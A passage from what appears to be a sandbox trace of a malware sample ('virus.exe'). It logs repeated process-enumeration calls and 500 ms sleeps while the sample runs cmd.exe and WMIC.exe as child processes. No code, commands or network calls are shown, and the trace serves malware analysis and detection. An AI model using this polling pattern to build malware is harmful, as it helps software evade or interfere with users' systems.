th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.659] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.659] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.660] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.660] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.660] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.661] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.661] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.662] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0272.662] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0272.662] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0272.663] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0272.664] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0272.664] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.665] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.665] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0272.665] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0272.666] CloseHandle (hObject=0x1cc) returned 1 [0272.666] Sleep (dwMilliseconds=0x1f4) [0273.231] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0273.233] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.234] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.234] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.235] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.236] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.236] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.237] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.237] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.238] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.238] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.239] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.239] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.240] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.240] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.241] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.241] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.241] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.242] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.242] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.243] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.244] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.244] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.245] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.245] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0273.246] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0273.246] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0273.246] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0273.247] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0273.247] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.248] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.248] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0273.249] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0273.249] CloseHandle (hObject=0x100) returned 1 [0273.249] Sleep (dwMilliseconds=0x1f4) [0273.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0273.826] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.826] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.827] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.827] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.828] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.828] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.829] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.829] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.829] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.830] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.830] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.831] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.831] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.831] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.832] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.832] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.833] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.833] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.834] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.834] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.834] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.835] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.835] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.836] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0273.837] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0273.837] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0273.837] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0273.838] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0273.838] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.839] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.839] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0273.839] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0273.840] CloseHandle (hObject=0x1b4) returned 1 [0273.840] Sleep (dwMilliseconds=0x1f4) [0274.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0274.463] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, 